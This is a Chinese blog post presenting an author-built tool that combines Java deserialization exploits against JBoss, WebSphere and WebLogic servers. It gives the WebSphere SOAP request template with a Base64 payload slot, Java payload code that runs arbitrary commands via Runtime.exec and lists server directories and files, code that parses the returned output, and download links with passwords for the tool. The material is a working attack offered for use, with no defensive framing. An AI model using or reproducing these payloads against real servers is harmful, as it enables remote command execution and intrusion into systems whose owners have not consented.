Java反序列化集成工具
0X00 概述
Java反序列化漏洞已經(jīng)被曝出一段時(shí)間了,本人參考了網(wǎng)上大神的放出來的工具,將Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。其實(shí),WebSphere的利用過程也和JBoss差不多,只不過在發(fā)送Payload和解析結(jié)果的時(shí)候多了個(gè)Base64編碼(解碼)的過程。
本工具暫時(shí)支持的功能:
1、本地命令執(zhí)行并回顯,無須加載外部jar包,支持純內(nèi)網(wǎng)環(huán)境檢測(cè)。
2、支持JBoss、WebSphere和Weblogic的反序列化漏洞檢測(cè)。
3、支持https數(shù)據(jù)傳輸。
4、支持文件目錄列表。
0X01 WebSphere的反序列化漏洞利用過程
WebSphere的反序列化漏洞發(fā)生的位置在SOAP的通信端口8880,使用的通信協(xié)議是https,發(fā)送的數(shù)據(jù)是XML格式的數(shù)據(jù)。
- <?xml version='1.0'encoding='UTF-8'?>
- <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
- <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
- <LoginMethod>BasicAuth</LoginMethod>
- </SOAP-ENV:Header>
- <SOAP-ENV:Body>
- <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- <objectname xsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname>
- <attribute xsi:type="xsd:string">ringBufferSize</attribute>
- </ns1:getAttribute>
- </SOAP-ENV:Body>
- </SOAP-ENV:Envelope>
將我們構(gòu)造的執(zhí)行命令的payload通過base64編碼后放在objectname節(jié)點(diǎn)中,通過https發(fā)送到服務(wù)器端,服務(wù)器端調(diào)用相應(yīng)的執(zhí)行函數(shù),將結(jié)果發(fā)送給客戶端,同樣的,返回的數(shù)據(jù)也是經(jīng)過base64編碼的。WebSphere的Payload和JBoss的基本一致。如下是執(zhí)行命令的payload。
- public RunCommand(String command) throws Exception
- {
- Process proc = Runtime.getRuntime().exec(command);
- BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
- StringBuffer sb = new StringBuffer();
- String line;
- while ((line = br.readLine()) != null)
- {
- sb.append(line).append("\n");
- }
- String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";
- br.close();
- Exception e=new Exception(result);
- throw e;
- }
將命令執(zhí)行結(jié)果以字符隔開,這樣在客戶端獲取數(shù)據(jù)后,可通過split、substring等方法對(duì)命令的執(zhí)行結(jié)果進(jìn)行解析。解析命令的源碼如下:
- public static String parseResult(String result)
- {
- String tmp=result.split("<faultstring>")[1];
- String reString=tmp.split("</faultstring>")[0];
- String resultTmp=new String(Base64.getDecoder().decode(reString));
- int x1=resultTmp.indexOf("==========")+10;
- int x2=resultTmp.lastIndexOf("==========")-1;
- String returnValue="";
- if(x1>=0&&x2>=0)
- returnValue=resultTmp.substring(x1, x2).trim();
- else
- returnValue=resultTmp;
- return returnValue;
- }
0X02 文件列表讀取
獲取文件列表的功能是通過Java的listRoot和listFiles來實(shí)現(xiàn)的,獲取文件和目錄列表的過程和命令執(zhí)行大概相同。在這我就簡(jiǎn)單的描述一下過程:如果傳入方法的是一個(gè)空值,那么就通過Files.listRoot獲取根目錄或者驅(qū)動(dòng)器列表,否則,傳入的值是路徑的話,就通過file.listFiles方法獲取目錄下的所有文件和目錄,將獲取到的目錄名放到{}中,將文件名放在[]中,這樣,就方便我們?cè)诔绦蛑袑?duì)獲取到的數(shù)據(jù)進(jìn)行解析。
獲取目錄的payload代碼如下:
- public GetFileList(String fileName) throws Exception
- {
- StringBuilder sb=new StringBuilder();
- String result=new String();
- if(fileName.isEmpty())
- {
- File[] files=File.listRoots();
- for(int i=0;i<files.length;i++)
- {
- sb.append(files[i].getAbsolutePath()).append(",");
- }
- result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";
- }
- else
- {
- File file=new File(fileName);
- StringBuilder dirList=new StringBuilder();
- StringBuilder fileList=new StringBuilder();
- if(file.isDirectory())
- {
- File[] list=file.listFiles();
- dirList.append("{");
- fileList.append("[");
- for(int i=0;i<list.length;i++)
- {
- if(list[i].isDirectory())
- dirList.append(list[i].getAbsolutePath()).append(",");
- else
- fileList.append(list[i].getAbsolutePath()).append(",");
- }
- }
- if(!dirList.toString().isEmpty())
- sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");
- if(!fileList.toString().isEmpty())
- sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");
- result=sb.toString();
- }
- result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";
- Exception e=new Exception(result);
- throw e;
- }
解析的時(shí)候,先將執(zhí)行結(jié)果分離出來,再對(duì)結(jié)果base64解碼,再進(jìn)一步區(qū)分目錄和文件,分別添加到界面的目錄樹中。
注:設(shè)計(jì)時(shí)為了美觀,使用了JavaFX來設(shè)計(jì)界面,運(yùn)行時(shí)需要JDK1.8環(huán)境。
程序運(yùn)行效果如下:
工具下載地址:http://pan.baidu.com/s/1sjXjsBz 密碼: b423
2016.1.5 工具更新內(nèi)容:
地址: http://pan.baidu.com/s/1jGSEFFS 密碼: si6t
1.多線程處理任務(wù),解決命令執(zhí)行過程中界面無法響應(yīng)的問題
2.[Bug Fix]weblogic console端口改為80時(shí)無法獲取數(shù)據(jù)
3.[Bug Fix]weblogic第一次獲取信息或執(zhí)行命令響應(yīng)時(shí)間過長(zhǎng)的問題